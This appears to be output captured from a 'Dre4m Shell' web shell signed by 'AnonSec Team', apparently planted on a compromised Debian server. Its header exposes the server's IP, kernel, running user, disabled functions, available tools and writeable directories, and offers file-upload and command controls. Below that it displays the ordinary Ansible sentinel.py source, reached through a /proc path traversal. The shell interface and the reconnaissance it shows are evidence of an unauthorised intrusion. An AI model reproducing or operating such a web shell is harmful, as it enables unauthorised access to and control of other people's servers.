Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.15.34.105
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/proc/2/cwd/proc/self/root/lib/python3/dist-packages/ansible/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/self/root/proc/2/cwd/proc/self/root/lib/python3/dist-packages/ansible/utils/sentinel.py
# Copyright (c) 2019 Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type


class Sentinel:
    """
    Object which can be used to mark whether an entry as being special

    A sentinel value demarcates a value or marks an entry as having a special meaning.  In C, the
    Null byte is used as a sentinel for the end of a string.  In Python, None is often used as
    a Sentinel in optional parameters to mean that the parameter was not set by the user.

    You should use None as a Sentinel value any Python code where None is not a valid entry.  If
    None is a valid entry, though, then you need to create a different value, which is the purpose
    of this class.

    Example of using Sentinel as a default parameter value::

        def confirm_big_red_button(tristate=Sentinel):
            if tristate is Sentinel:
                print('You must explicitly press the big red button to blow up the base')
            elif tristate is True:
                print('Countdown to destruction activated')
            elif tristate is False:
                print('Countdown stopped')
            elif tristate is None:
                print('Waiting for more input')

    Example of using Sentinel to tell whether a dict which has a default value has been changed::

        values = {'one': Sentinel, 'two': Sentinel}
        defaults = {'one': 1, 'two': 2}

        # [.. Other code which does things including setting a new value for 'one' ..]
        values['one'] = None
        # [..]

        print('You made changes to:')
        for key, value in values.items():
            if value is Sentinel:
                continue
            print('%s: %s' % (key, value)
    """

    def __new__(cls):
        """
        Return the cls itself.  This makes both equality and identity True for comparing the class
        to an instance of the class, preventing common usage errors.

        Preferred usage::

            a = Sentinel
            if a is Sentinel:
                print('Sentinel value')

        However, these are True as well, eliminating common usage errors::

            if Sentinel is Sentinel():
                print('Sentinel value')

            if Sentinel == Sentinel():
                print('Sentinel value')
        """
        return cls

Anon7 - 2022
AnonSec Team